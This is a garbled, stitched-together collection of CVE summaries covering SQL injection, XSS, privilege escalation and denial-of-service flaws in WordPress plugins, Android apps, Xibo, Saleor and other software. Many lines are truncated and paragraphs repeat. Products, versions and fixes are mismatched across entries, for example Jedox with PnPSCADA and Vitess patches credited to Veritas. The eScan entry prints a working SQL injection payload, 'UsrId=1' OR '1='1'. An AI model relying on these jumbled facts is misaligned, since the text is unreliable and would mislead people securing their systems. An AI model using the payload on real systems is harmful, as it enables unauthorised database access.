exploit are typically not provided publicly to prevent misuse. However, the issue generally stems from tl

for ODBC before version 08.02.2770 for Oracle.

ile initializing the encryption object for OAS encryption, the code falls back to a different encryption m

/community.progress.com/s/article/Security-vulnerabilities-in-DataDirect-ODBC-Oracle-Wire-Protocol
secure encryption mechanism when an error occurs in initializing the standard encryption object. This f;
the fallback to the less secure encryption mechanism with the insecure random number generator only
1 predict the output of the insecure random number generator used by the fallback encryption mechan
WordPress. Specifically, it is a time-based SQL Injection vulnerability present in versions up to, and inc
lity could be considered serious because it allows authenticated attackers with administrative privilege
was not mentioned in the provided references. Users of the affected plugin should check the official W
ileges on the WordPress installation where the Multiple Page Generator Plugin is installed. Without tl
parameters sent to the affected plugin. By carefully crafting a time-based SQL injection payload, the a
Multiple Page Generator Plugin to a version that addresses this vulnerability once it becomes availab

Page Generator Plugin where the vulnerability was identified, a code changeset highlighting the modi
or WordPress, specifically in versions up to and including 4.1.4. It is a time-based SQL Injection vulnera

r within the WordPress installation where the vulnerable Active Directory Integration plugin is installe
ory Integration plugin for WordPress due to improper user input sanitization and lack of proper SQL st
queries. This could lead to unauthorized data access, disclosure of sensitive information, data manipula
y Integration plugin for WordPress to the latest version that patches the vulnerability. It is also recom
ferences, such as the plugin's repository on WordPress Trac or the Wordfence's vulnerability threat inte
rgin for WordPress.

acted by CVE-2023-2237.

eter.

described in CVE-2023-2237.

re: https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=291047
o send additional SQL queries to existing ones, which could be used to extract sensitive information fro
t_id' parameter, due to insufficient escaping of the user-supplied input and inadequate preparation of
e has a threat intelligence post here: <https://www.wordfence.com/threat-intel/vulnerabilities/id/916>
m 7 plugin for WordPress. It involves a SQL Injection vulnerability through the 'id' parameter, affecting
g malicious SQL code through the 'id' parameter. This can be done by any authenticated user, regardle
cker could exploit CVE-2023-1615 by crafting a request to the vulnerable plugin with the 'id' parameter
ite where the Ultimate Addons for Contact Form 7 plugin is installed. This means that even users with
ling the WordPress plugin repository, plugin changelogs, and security sites. There is no explicit informa

aFFECTED by CVE-2023-1615.

the WordPress site's database. It could include user credentials, personal information, or proprietary information. A test version available that has addressed CVE-2023-1615, which would be a version after 3.1.23. It is embedded in a plugin's repository on the WordPress Trac, the plugin's changelog, and security-focused websites like Wordfence for WordPress. The vulnerability exists in versions up to and including 3.1.3, and it allows an authenticated attacker on a WordPress site using a vulnerable version of the Intuitive Custom Post Order plugin. The attack vector is through the 'mf_thankyou' shortcode.

to sensitive information stored in the WordPress database. This might include personal data, user credentials, and more. To address this issue, users should update the Intuitive Custom Post Order plugin to the latest version that addresses this security issue. If you are using version 3.1.3 or earlier, the CVSS score is 3.1 according to the Common Vulnerability Scoring System (CVSS).

RECOMMENDED ACTION: Update Metform Elementor Contact Form Builder for WordPress is CVE-2023-0710.

Metform Elementor Contact Form Builder for WordPress up to, and including, version 3.3.0.

The vulnerability described in CVE-2023-0710.

A page containing the 'mf_thankyou' shortcode, which echoes unescaped form submissions when the submitted value is a crafted link with the form entry id. Additionally, executing the injected script requires successful payment or-level access submitting a form containing malicious JavaScript within the 'fname' attribute. The attack vector is through the 'mf_thankyou' shortcode.

REFERENCES: Including the WordPress plugin repository and Wordfence threat intelligence vulnerability page. To address this issue, users should update the plugin to the latest version that addresses this vulnerability. They should also review their usage of the Metform Elementor Contact Form Builder plugin for WordPress. This vulnerability is related to Cross-Site Scripting (XSS) and a known issue in the plugin. An attacker with contributor-level access can craft a link with a crafted link with the form entry id. The injected script is stored and will execute in the context of a user's browser, potentially leading to unauthorized actions being performed. To address this issue, users should update the plugin to the latest version that addresses this vulnerability. They should also review their usage of the Metform Elementor Contact Form Builder plugin for WordPress. This vulnerability is related to Cross-Site Scripting (XSS) and a known issue in the plugin. An attacker with contributor-level access can craft a link with a crafted link with the form entry id. The injected script is stored and will execute in the context of a user's browser, potentially leading to unauthorized actions being performed.

Metform Elementor Contact Form Builder for WordPress which allows Cross-Site Scripting (XSS). Specifically, this issue arises from a lack of proper sanitization and validation of user input. An attacker with contributor-level access can craft a link with a crafted link with the form entry id. The injected script is stored and will execute in the context of a user's browser, potentially leading to unauthorized actions being performed.

To address this issue, users should update the plugin to the latest version that patches the XSS vulnerability described in CVE-2023-0695. If you are using version 3.3.0 or earlier, the CVSS score is 3.1 according to the Common Vulnerability Scoring System (CVSS). The attack vector is through the 'mf_thankyou' shortcode.

RECOMMENDED ACTION: Update Metform Elementor Contact Form Builder for WordPress is CVE-2023-0695.

Metform Elementor Contact Form Builder for WordPress up to, and including, 3.3.0. The vulnerability described in CVE-2023-0695 involves an unescaped form submission on a webpage. An authenticated attacker with contributor-level permissions can craft a link with a crafted link with the form entry id. The injected script is stored and will execute in the context of a user's browser, potentially leading to unauthorized actions being performed. To address this issue, users should update the plugin to the latest version that patches the XSS vulnerability described in CVE-2023-0695. If you are using version 3.3.0 or earlier, the CVSS score is 3.1 according to the Common Vulnerability Scoring System (CVSS). The attack vector is through the 'mf_thankyou' shortcode.

ecurity-focused websites and databases. References include the WordPress plugins Trac at '<https://plugins.trac.wordpress.org>' and the uListing plugin affected by CVE-2021-4381. This omission led to the authorization bypass vulnerability.

The issue is an authorization bypass, where the plugin had missing capability checks and a missing input validation check. This allowed an attacker to change any WordPress option in the database, which could result in website defacement, data leakage, or other malicious activity.

The uListing plugin affected by CVE-2021-4381. This omission led to the authorization bypass vulnerability. The vulnerability exists in versions up to 1.6.6 and allows an authenticated user to change site-wide settings to malicious ones, such as setting new admin accounts, redirecting the homepage, or changing the theme. It also allows for an authorization bypass via Ajax due to missing capability checks, missing input validation, and insufficient escaping on the user-supplied 'listing_id' parameter.

To mitigate this vulnerability, it is recommended to upgrade to the latest version of the uListing plugin that addresses CVE-2021-4381. It is also advisable to regularly check for updates and patches for the WooCommerce plugin for WordPress. This vulnerability exists in versions up to 3.2.6 and allows an authenticated user to change site-wide settings to malicious ones, such as setting new admin accounts, redirecting the homepage, or changing the theme. It also allows for an authorization bypass via Ajax due to missing capability checks, missing input validation, and insufficient escaping on the user-supplied 'listing_id' parameter.

The uListing plugin affected by CVE-2021-4381. This is due to the plugin's lack of capability checks, adequate input validation, and insufficient escaping on the user-supplied 'listing_id' parameter. This includes modifying critical website settings, adding malicious scripts, or altering user roles and permissions.

The uListing plugin affected by CVE-2021-4381. This is due to the plugin's lack of capability checks, adequate input validation, and insufficient escaping on the user-supplied 'listing_id' parameter. This includes modifying critical website settings, adding malicious scripts, or altering user roles and permissions. The vulnerability was published on 07 June 2023.

The uListing plugin affected by CVE-2021-4381. This is due to the plugin's lack of capability checks, adequate input validation, and insufficient escaping on the user-supplied 'listing_id' parameter. This includes modifying critical website settings, adding malicious scripts, or altering user roles and permissions. The vulnerability was published on 07 June 2023.

The uListing plugin affected by CVE-2021-4381. This is due to the plugin's lack of capability checks, adequate input validation, and insufficient escaping on the user-supplied 'listing_id' parameter. This includes modifying critical website settings, adding malicious scripts, or altering user roles and permissions. The vulnerability was published on 07 June 2023.

The uListing plugin affected by CVE-2021-4381. This is due to the plugin's lack of capability checks, adequate input validation, and insufficient escaping on the user-supplied 'listing_id' parameter. This includes modifying critical website settings, adding malicious scripts, or altering user roles and permissions. The vulnerability was published on 07 June 2023.

security advisories page, at the URL: <https://github.com/matrix-org/synapse/security/advisories/GHSA-rr>, whose account was subsequently updated by an administrator using the admin API to change the password via the API development ecosystem. The vulnerability was due to the exposure of the database password in

23.4.5 or later. Users are advised to update their installations to patch the vulnerability as there are no trade to the latest version of hopscotch that addresses the vulnerability.

, the vulnerability generally occurs when user input passed through the 'post_id' parameter is improper. It is recommended to update the plugin to the latest version that has patched the vulnerability. Regularly updating all plugins and themes is crucial for maintaining security.

Iroid, where unauthorized applications can request permission to insert malicious data into the user'sack by forcing the BT21 x BTS Wallpaper app to crash persistently due to an Out of Memory (OOM) error information.

found on multiple websites such as <http://bungaakpstudio007.com>, on APKPure at <https://apkpure.com>. A denial of service attack by overloading the BT21 x BTS Wallpaper app with malicious data that causes it to crash was reported by CVE-2023-29725.

ion 12 for Android. It allows unauthorized applications to request permission to modify data in the app.

could tamper with the database data that is used to store user's personal preferences. This could potentially compromise the database data of the affected BT21 x BTS Wallpaper app. Once permission is granted, the attacker can install malicious apps.

lisher's site at '<http://bungaakpstudio007.com>', the APK download portal '<https://apkpure.com/cn/bt>'. It has not been scored yet, or the information has not been made public.

ole and potentially lead to misuse; however, the general concept would involve an unauthorized app being downloaded and installed on the user's device. The malicious app could craft a request to access or modify

o the database that records user's personal preferences, which will be loaded and used when the Glitter Unicorn Wallpaper app's data, which would lead to them being displayed in the app's UI. The excessive re.

<https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29723/CVE%20detail.md>

litter Unicorn Wallpaper app's database. Once permission is granted, the malicious app could insert laigned for Android 7.0 to 8.0, where unauthorized apps can request permission to modify data in the d:

carry out an escalation of privilege attack.

t permission to modify the vulnerable app's database. If successful, the attacker could manipulate the r-level privileges than intended, potentially leading to unauthorized access to sensitive information, m

t the following URL: <https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29722/CVE%20c>the CONPROSYS HMI System (CHS), affecting versions prior to 3.5.3. This flaw could potentially allow a ators of the system should update to version 3.5.3 or later to address this vulnerability.

de request forgery (SSRF) attack. This would allow the attacker to bypass restrictions set for database > version 3.5.3 or later, which contains fixes for this vulnerability. Organizations should also review anc llowing URLs provide details about the vulnerability: - <https://jvn.jp/en/vu/JVNVU93372935/> - <https://jvn.jp/en/vu/JVNVU93372935/>

ed by the Common Vulnerability Scoring System (CVSS) to reflect the severity of a vulnerability, but in

-28713.

ase is saved in a local file in plaintext, which is the security issue outlined in CVE-2023-28713.

nd/or alter the information in the database due to the plaintext storage of passwords, as described in ation in the database and may potentially alter or misuse that information, leading to data breaches, t

<https://jvn.jp/en/vu/JVNVU93372935/> - <https://www.contec.com/api/downloadlogger?download=-/media>re CVE-2023-28713 vulnerability.

r CONPROSYS HMI System to version 3.5.3 or later, where this issue has been addressed.

8713, is installed could search for the local file where database account information is stored. Since it i h allows unauthorized applications to cause a persistent denial of service (DoS) attack by manipulating droid devices.

uthorized apps to manipulate the database, leading to persistent service disruption.

h.com/, where details are likely discussed. The GitHub repository at <https://github.com/LianKee/SO-C>

installed on the same device as the vulnerable BestWeather app, exploits CVE-2023-29745 by sending n Android. It allows unauthorized applications to execute a persistent denial of service (DoS) attack by m

e attack by altering the database of the BestWeather app for Android.

<http://www.zmtqsh.com/>', '<https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29743/CVE%20d>ived information.

this vulnerability by sending specially crafted data to the BestWeather app's database. This could corr to the latest version available, where this vulnerability is presumably fixed. Developers should release

Android. This vulnerability allows unauthorized applications to perform an escalation of privileges attack, allowing them to gain higher access levels and potentially perform functions or access data that should be restricted.

/www.zmtqsh.com/', 'https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29741/CVE%20-29741.txt' on the same device that targets the BestWeather app's database. The malicious app could manipulate or control their Android devices to the latest version that addresses this security issue. Users should also be cautious when updating apps from version 1.5.3.2 for Android. The issue allows unauthorized apps to cause a denial of service (DoS) attack by manipulating system components.

applications.

N/A' (not available).

Applications to interfere with the normal operation of the Alarm Clock for Heavy Sleepers app by manipulating its code. It is installed on the same device as the vulnerable Alarm Clock for Heavy Sleepers app, utilizing a flaw in the application's source code, such as the developers' website at http://amandroidapp.com/, a Github repository at https://github.com/LianKee/SO-CVEs/blob/main/CVE-2023-29741/CVE%20-29741.txt, and version 1.70.7 for Android. This issue allows a local attacker to execute code and escalate their privilege level. According to the Common Vulnerability Scoring System (CVSS) score, the severity level is not explicitly stated, but given it involves code manipulation, it is likely to be high.

Visit the official website of the affected application at http://www.wavekeyboard.com/, a detailed markdown file describing the vulnerability, and follow the instructions to update to the latest version as soon as the developer releases a fix. It's also recommended for users to regularly scan their device for vulnerabilities in installed applications and update them. It involves unauthorized applications exploiting exposed components to delete data related to the user's activity.

Attackers can exploit this vulnerability to gain elevated access to resources that are normally protected from an application or user. They can do this by sending specially crafted requests to the application's API route, which may result in unauthorized data deletion or modification.

Attackers can exploit this vulnerability to gain elevated access to resources that are normally protected from an application or user. They can do this by sending specially crafted requests to the application's API route, which may result in unauthorized data deletion or modification. It is recommended for users to regularly scan their device for vulnerabilities in installed applications and update them. It involves unauthorized applications exploiting exposed components to delete data related to the user's activity. Attackers can exploit this vulnerability to gain elevated access to resources that are normally protected from an application or user. They can do this by sending specially crafted requests to the application's API route, which may result in unauthorized data deletion or modification. It is recommended for users to regularly scan their device for vulnerabilities in installed applications and update them. It involves unauthorized applications exploiting exposed components to delete data related to the user's activity.

This represents an SQL injection vulnerability discovered in the `/display/map` API route within the CMS.

It is advisable for users running affected versions to upgrade to resolve the issue.

Attackers can exploit this vulnerability to gain elevated access to resources that are normally protected from an application or user. They can do this by sending specially crafted requests to the application's API route, which may result in unauthorized data deletion or modification. It is recommended for users to regularly scan their device for vulnerabilities in installed applications and update them. It involves unauthorized applications exploiting exposed components to delete data related to the user's activity.

Attackers can exploit this vulnerability to gain elevated access to resources that are normally protected from an application or user. They can do this by sending specially crafted requests to the application's API route, which may result in unauthorized data deletion or modification. It is recommended for users to regularly scan their device for vulnerabilities in installed applications and update them. It involves unauthorized applications exploiting exposed components to delete data related to the user's activity.

es:- <https://claroty.com/team82/disclosure-dashboard>- <https://github.com/xibosignage/xibo-cms/sec>
tacker sending a malicious request with a crafted value in the `bounds` parameter to the vulnerable `management system (CMS). This SQL injection vulnerability was found in the `nameFilter` function used till 0 up to before version 3.3.5.

This includes a fix for the SQL injection vulnerability.

is to upgrade to Xibo CMS version 3.3.5.

ent could inject SQL queries through the `nameFilter` function to perform unauthorized actions such as or Xibo, disclosed by Claroty's Team82 on their disclosure dashboard, and detailed on Xibo Signage's bl t management system (CMS). This vulnerability pertains to an SQL injection flaw discovered in the `/da to and not including versions 2.3.17 and 3.3.5.

n attack through the `filter` parameter of the `/dataset/data/{id}` API route within the CMS. This is due liciously crafted SQL query into the `filter` parameter of the API, enabling them to access, modify, or d r users affected by this vulnerability is to upgrade to Xibo version 2.3.17 or 3.3.5, where the SQL inject rces: the Claroty Team82 Disclosure Dashboard, the security advisories section on Xibo's GitHub reposi

as part of a Common Vulnerability Scoring System (CVSS) rating, which provides a measure of the sev^rersion 7.09.01 for Android. The vulnerability allows a local attacker to cause a denial of service (DoS) b Android.

fix application for Android. While specific technical details or code examples of the exploit are not pro

by 'N/A' in the information provided.

a GitHub URL: <https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29735/CVE%20detai>
ess to an Android device running edjing Mix version 7.09.01. The attacker might exploit this vulnerabili lroid. The issue enables unauthorized applications to perform escalation of privilege attacks by manipu Android devices.

app can gain elevated access by manipulating the database of edjing Mix.

which is a GitHub repository link: <https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29735/CVE%20detai>
s typically provided by the Common Vulnerability Scoring System (CVSS) to indicate the severity of the ite the database of the vulnerable application (edjing Mix), leading to an escalation of privilege attack. same Android device as the vulnerable edjing Mix app could exploit this vulnerability by injecting or alt n MeterSphere, which is responsible for verifying if a user's provided password matches the one store ed using the MD5 hashing algorithm by the `CodingUtil.md5` method.

during the login process, which triggers the MD5 encryption process and could potentially exhaust the 023-32699.

which includes a fix for the vulnerability by implementing a maximum password length.

Sphere's GitHub repository at <https://github.com/metersphere/metersphere/commit/c59e381d3689c>
ng long passwords repeatedly to the login function, causing a sustained high usage of CPU and memor i published date on 30 May 2023.

al attack could involve submitting a login POST request with a very long password string, like this: ``jav^rersion 1.70.7 for Android. This vulnerability allows a local attacker to cause a denial of service by expl

of the Wave Animated Keyboard Emoji app. Since it is a local attack, the attacker would need physical access to the device where the app is installed. This attack aims to make the Wave Animated Keyboard Emoji app unavailable to the user by disrupting its normal functionality.

The exploit involves sending a crafted request to the app's database. The developer has released a patch for this vulnerability, which can be found on the app's GitHub repository (<https://github.com/wavekeyboards/WaveAnimatedKeyboard-Android>). It's recommended to update to the latest version of the app to fix this issue.

Saleor Core SQL Injection Vulnerability (CVE-2023-32694): This vulnerability affects Saleor Core, a headless commerce API. It allows an attacker to manipulate SQL queries sent to the database, potentially leading to unauthorized access or data leakage. The vulnerability was reported recently and is still under analysis. The Base Score is critical. To exploit this, an attacker would craft a malicious request to the plugin's report API endpoint, inserting SQL code. An example of such code in PHP might look like this: ``php\$unsafe_variable = \$_POST['user_input'];\$` enabled. Saleor Core is a composable, headless commerce API and specifically, the vulnerability is in the Saleor Adyen plugin's signature validation process. With this information, they could follow the commit with the ID 1328274e1a3d04ab87d7daee90229ff47b3bc35e or review the details of the `validate_hmac_signature` function in Saleor Core. The vulnerability means that the function that checks HMAC signatures might not be severe or that there hasn't been enough assessment of its impact yet. However, it was only for the schema of the API which is public information. They argue that any queries for actual data could demonstrate how the vulnerability could be exploited which, in this case, would involve making queries to the GraphQL database interface of Netbox v3.5.1 without proper authentication. If the system is patched versions as provided (for example, 3.7.68, 3.8.40, 3.9.49, 3.10.36, 3.11.35, 3.12.25, and 3.13.16).

refer to the commit with the ID 1328274e1a3d04ab87d7daee90229ff47b3bc35e or review the details of the `validate_hmac_signature` function in Saleor Core. The vulnerability means that the function that checks HMAC signatures might not be severe or that there hasn't been enough assessment of its impact yet. However, it was only for the schema of the API which is public information. They argue that any queries for actual data could demonstrate how the vulnerability could be exploited which, in this case, would involve making queries to the GraphQL database interface of Netbox v3.5.1 without proper authentication. If the system is patched versions as provided (for example, 3.7.68, 3.8.40, 3.9.49, 3.10.36, 3.11.35, 3.12.25, and 3.13.16).

ious actor methodically sending numerous requests with various signature values. By measuring the responses, an attacker could execute queries against the GraphQL database. This could potentially allow them to gain access to sensitive data. The vulnerability might not be severe or that there hasn't been enough assessment of its impact yet. However, it was only for the schema of the API which is public information. They argue that any queries for actual data could demonstrate how the vulnerability could be exploited which, in this case, would involve making queries to the GraphQL database interface of Netbox v3.5.1 without proper authentication. If the system is patched versions as provided (for example, 3.7.68, 3.8.40, 3.9.49, 3.10.36, 3.11.35, 3.12.25, and 3.13.16).

patch 6, and 7.4 before update 18.

requires the vulnerable application to have physical access to the device where it is installed. The attacker must first be able to modify the database, which implies a level of access that suggests administrative privileges.

obtained the ability to alter the database schema or contents. They could rename or create a database table, for example, at the following URL: https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/1.012.GP.B. It involves an issue with an unknown part of the SQLite Database. The Common Vulnerability Scoring System (CVSS) Base Score provided, it's hard to determine the exact severity. However, it was only for the schema of the API which is public information. They argue that any queries for actual data could demonstrate how the vulnerability could be exploited which, in this case, would involve making queries to the GraphQL database interface of Netbox v3.5.1 without proper authentication. If the system is patched versions as provided (for example, 3.7.68, 3.8.40, 3.9.49, 3.10.36, 3.11.35, 3.12.25, and 3.13.16).

This is used for accessing and creating SQLite database files in Java applications. This particular vulnerability is located in the Simple Design Daily Journal app. If an attacker can access the files where sensitive information about how to exploit this vulnerability is available, which can increase the risk of attacks using it.

physical access to the device where Simple Design Daily Journal is installed. The attacker could access the files where sensitive information about how to exploit this vulnerability is available, which can increase the risk of attacks using it.

..2.1.

contains a fix for the remote code execution vulnerability.

page at <https://github.com/xerial/sqlite-jdbc/releases/tag/3.41.2.2>, as well as on the GitHub security information.

An attacker could exploit this by supplying a malicious JDBC URL that could be used to load arbitrary code. However, in general, an exploit for CVE-2023-32697 would likely involve an attacker crafting a specific link with a link to a Java web application that uses the vulnerable SQLite JDBC library. When the user clicks on this link, the Database Cleaner plugin is CVE-2022-46813.

→ a security issue in the Advanced Database Cleaner plugin versions 3.1.1 and below. This vulnerability has a CVSS Base Score of 3. A Base Score is typically provided by the Common Vulnerability Scoring System (CVSS) and is used to identify the severity of a vulnerability. The identifier for this vulnerability is CVE-2022-46813, and it was publicly disclosed on 23 May 2023.

nd at the following URL: <https://patchstack.com/database/vulnerability/advanced-database-cleaner/v>
an attacker crafting a malicious web page or email that, when visited or opened by a victim who is logg
version that patches the CSRF vulnerability, which is identified by CVE-2022-46813. If an updated versio
version 11.7. It pertains to an SQL injection flaw that enables a remote attacker to execute arbitrary S
e vulnerable IBM InfoSphere Information Server 11.7. By manipulating input fields or parameters that
, including unauthorized viewing, modification, addition, or deletion of data in the database. Dependin

ces: the IBM X-Force Exchange at '<https://exchange.xforce.ibmcloud.com/vulnerabilities/243163>', and

Meta would release patches or updates to address the vulnerability in CVE-2022-47984. Users should check their version of the software. This vulnerability was related to the incorrect enforcement of permissions for editing SQL Snippets. When users have the ability to edit snippets, they should not be able to. This could potentially lead to users editing snippets to change the logic or data stored in the database. The affected versions are 0.46.3, 0.45.4, 0.44.7, 1.46.3, 1.45.4, and 1.44.7. Users running earlier versions of Meta should upgrade to version 0.46.3, 0.45.4, 0.44.7, 1.46.3, 1.45.4, or 1.44.7 to fix the permissions model for SQL snippets. If upgrading is not an option, users can review the code changes and pull requests related to this vulnerability on GitHub. The specific URLs for additional details are as follows: [https://github.com/facebookincubator/metasearch/pull/1447](#). It is important to note that the vulnerability exists because the access control logic was not correctly implemented, meaning their access to data is supposed to be restricted based on certain criteria. The vulnerability was published on January 12, 2022.

ent interface of Cisco Smart Software Manager On-Prem (SSM On-Prem). It allows an authenticated, restricted application as a low-privileged user and then sending crafted SQL queries to the system. Since the web traffic contained within the underlying database of the Cisco SSM On-Prem. This could include confidential information such as user credentials or system configurations.

isco's official Security Advisory page at the following URL: <https://sec.cloudapps.cisco.com/security/ce>

The vulnerability could lead to a SQL injection attack where an attacker sends a request to the application containing a query designed to be executed by the system as a low-privilege user, possibly through phishing or credential stuffing, and then using the application's interface to interact with the MySQL database. The vulnerability is due to nonce collisions in existing Dgraph audit logs, which are stored in memory. This security issue has been addressed. For users who are unable to upgrade, it is recommended to store the nonce in a secure location and never reuse it.

audit logs are stored.

ce for encrypting different pieces of data, which can significantly weaken the security of the encryption.

(<https://github.com/dgraph-io/dgraph/security/advisories/GHSA-92wq-q9pq-gw47>), the associated privilege access to the server where the Dgraph audit logs are stored. Knowing the vulnerability, the attack was performed on the Dgraph Audit Log Console version 14.0.1400.2281. It involves a SQL injection flaw in the View User Profile feature that can be identified from the available data. However, SQL injection vulnerabilities are often considered critical as they can lead to unauthorized access or data corruption.

14.0.1400.2281. Systems running this software version are at risk, and the issue facilitates an attack or SQL queries by injecting malicious SQL code, resulting in unauthorized access to database contents. SQL queries through the vulnerable ' GetUserCurrentPwd' parameter to extract sensitive data from the cketstormsecurity.com/files/172545/eScan-Management-Console-14.0.1400.2281-SQL-Injection.html-vulnerability could be something like this:`http://[target]/ GetUserCurrentPwd?UsrId=1' OR '1='1`ATTACKER including the 2022 release. This vulnerability is due to role-based access controls that are enforced online not properly enforced server-side. Instead, they are enforced only on the client-side, which poses a 'Peer Network' and 'Client Server Network' configurations of Sage 300. Users on these workstation se a vulnerable workstation setup accessing the SQL connection strings that the application uses. Once t js and use them to interact directly with the Sage 300 databases. This would allow the attacker to crea

shed by Control Gap at the following URL: <https://www.controlgap.com/blog/critical-vulnerability-disc>
-source data warehouse based on PostgreSQL. The issue lies in the way GPDB versions prior to 6.22.3 |
versions are vulnerable to the path traversal security issue.

t the path traversal vulnerability to overwrite important data or system files. This could lead to a crash
upgrade to Greenplum Database version 6.23.2 or higher, where the vulnerability has been resolved.
6.23.2 or later. This update contains the fix for the vulnerability, preventing the path traversal exploit.
malicious GPPKG (Greenplum Package) containing a tar file designed to traverse directories ('..') when
the associated security advisory. The references are: '<https://github.com/greenplum-db/gpdb/comm>

3-32306 if security checks are not in place, may involve an attacker submitting a POST request to `repo`n. It involves a privilege escalation issue which allows a less privileged user to elevate permissions to

r acquire `superuser` privileges, leading potentially to arbitrary code execution or unauthorized data access via the aiven-extras extension. A lower privileged user can create objects that have the same names as existing objects in the aiven-extras package, where the schema qualifiers for privileged functions have been properly implemented to prevent database creation. Creating a malicious function or object with the same name as a function used by the aiven-extras package allows privilege escalation to superuser status, it should be considered a critical vulnerability due to the fact that it can be triggered by a simple SQL injection.

This vulnerability was found in the PnPSCADA system, which is a product of SDG Technologies CC. This vulnerability allows an attacker to gain unauthorized access to the system, which can result in data manipulation or breaches of essential infrastructure. Because it allows unauthorized users to execute arbitrary SQL queries, it provides a specific point of entry for attackers to exploit the vulnerability.

The vulnerability was discovered in the PnPSCADA system, which is a component of Jedox GmbH's Jedox 2020.2.5. It allows remote, authenticated users who have permission to access the 'hitlogcsv.jsp' endpoint to execute arbitrary SQL queries. This access could lead to the extraction of sensitive data, such as ICS/OT data and SMS Logs from the PnPSCADA system. The attacker would construct a payload that takes advantage of a bug in the MySQL driver used by the PnPSCADA system.

To exploit this vulnerability, an attacker would need to have permission to modify database connections in Jedox 2020.2.5. By using the 'test' command, an attacker can determine if they have the necessary permissions to access the database.

The vulnerability was first disclosed on November 15, 2022, on the vendor's website at <https://www.jedox.com> and a detailed vulnerability disclosure document available at <https://docs.syslifters.com/vulnerabilities/cve-2022-47880>. The vendor has since released a patch to fix the vulnerability.

The vulnerability was discovered in the MySQL driver used by the PnPSCADA system. An attacker can exploit this vulnerability by sending a specially crafted SQL query to the 'hitlogcsv.jsp' endpoint. The query would be executed by the MySQL driver, which would then return the results to the attacker. This could allow an attacker to extract sensitive data from the database, such as database connection passwords, which should be protected, can be exposed in cleartext. This could also allow an attacker to gain unauthorized access to the system, which could be used to perform other malicious actions.

The vendor has released a patch to fix this vulnerability. The patch includes the following changes:

- 1) Disable the ability to create shards from VTAdmin using the 'create shard' command. This prevents an attacker from creating shards containing '/' characters from VTAdmin. This patch ensures that the system handles these characters correctly.
- 2) Disable the ability to create shards from VTAdmin using the 'create shard' command. This patch ensures that the system handles these characters correctly.

The vendor has also released a patch to fix this vulnerability. The patch includes the following changes:

- 1) Disable the ability to create shards from VTAdmin using the 'create shard' command. This prevents an attacker from creating shards containing '/' characters from VTAdmin. This patch ensures that the system handles these characters correctly.
- 2) Disable the ability to create shards from VTAdmin using the 'create shard' command. This patch ensures that the system handles these characters correctly.

Veritas Real-Time Automation Controller (SEL RTAC) database systems. Users of these systems should review the vulnerability details (VIMOM) that exists in versions before 7.4.2.800 and 8.x before 8.0.410. This vulnerability relates to an issue with the way the system handles shard names. In some cases, the system may accept shard names that contain '/' characters, which could be used to bypass security checks. This means the attacker would need to first gain administrative access to the Veritas InfoSphere SEL RTAC system, and then use administrative credentials to perform actions such as creating, reading, updating, or deleting data in the database.

The vendor has released a patch to fix this vulnerability. The patch includes the following changes:

- 1) Disable the ability to create shards from VTAdmin using the 'create shard' command. This prevents an attacker from creating shards containing '/' characters from VTAdmin. This patch ensures that the system handles these characters correctly.
- 2) Disable the ability to create shards from VTAdmin using the 'create shard' command. This patch ensures that the system handles these characters correctly.

I23-0514. This is because the Reflected Cross-Site Scripting vulnerability could be exploited to execute or reflect the most current assessments, and users are encouraged to check updated sources for potentially a script that is not properly sanitized by the Membership Database WordPress plugin. When an actor uses <https://wpscan.com/vulnerability/c6cc400a-9bfb-417d-9206-5582a49d0f05>. This link provides detailed information about the issue. Here's a simplified example of how this might look in PHP, within the context of a WordPress plugin action:

```
</?php if ( !function_exists( 'log4php_error' ) ) { require_once( ABSPATH . WPINC . '/functions.php' ); } log4php_error( 'Error message' ); ?>
```

When using the ODBC appender within a C++ application to send log messages to a database. The issue was identified in Log4cxx version 1.2.15 and later. The fix was introduced in version 1.2.16. The problem occurred because Log4cxx compiled with ODBC support (before version 1.1.0, support for ODBC was detected automatically) did not properly handle parameter binding for SQL statements, which made it susceptible to SQL injection attacks. Apache addressed this issue in Log4cxx version 1.2.16 by introducing proper parameter binding to SQL statements, thus mitigating the risk of SQL injection. A similar issue was identified in the Apache Ranger Hive Plugin, specifically in version 2.0.0 through 2.3.0. The issue was identified as a Critical Resource vulnerability. It implied that any user with SELECT permission on a table could alter the ownership of a table within Apache Hive. This could potentially lead to unauthorized access or data manipulation. Apache addressed this issue in version 2.4.0 of the plugin. This newer version contains the necessary fixes to address the Incorrect Permission Assignment for Critical Resource vulnerability.

Please follow the URL: <https://lists.apache.org/thread/s68yls6cnkdmzn1k4hqt50vs6wjvt2rn>
stem - CVSS score) assigned to CVE-2021-40331.

ker, who has been granted SELECT privilege to a database, using the vulnerability in Apache Ranger Hiveals in certain versions of FortiNAC-F and FortiNAC. This flaw allows an authenticated attacker to access FortiNAC version 9.4.2 and below, all versions of 9.2 and 9.1, as well as all versions of 8.8 and 8.7. Under CWE-798. The severity of the vulnerability is not specified in terms of a Base Score.

owing URL: <https://fortiguard.com/psirt/FG-IR-22-520>.

h authenticated access to the FortiNAC system. Knowing that the system uses hard-coded credentials, FortiNAC and FortiNAC-F installations to the latest versions that have addressed this vulnerability. They matching IDs from databases on the same cluster. This vulnerability allows these documents to share a Apache CouchDB: validate_doc_update, list, filter, filter views (using view functions as filters), rewrite installations to either version 3.3.2 or 3.2.3, which are no longer affected by this issue.

rom untrusted sources that may attempt to cache or store data within the Javascript environment as a design document to execute unauthorized code or access sensitive data by exploiting the shared mu

ction page dedicated to this CVE (<https://docs.couchdb.org/en/stable/cve/2023-26268.html>) and on the score was provided using the Common Vulnerability Scoring System (CVSS) or the score was not provided in the CVF

ed data in an external Wiki method for listing pages. This flaw allows a remote attacker to send special characters in the search query, leading to a SQL injection attack. This means the attacker can craft and send a request that includes SQL code, which may be interpreted by the application, potentially leading to unauthorized access or data modification.

ng references:- Moodle's official Git repository: <http://git.moodle.org/gw?p=moodle.git&a=search&h=>
uthorized viewing or manipulation of database data, escalation of privileges, and potential system com
ch may have been released for CVE-2023-30944. To confirm and obtain the patch, one should check M
1.2.5. This issue is categorized as 'Improper Access Control' and is related to an endpoint '/tc/rpc'. It all

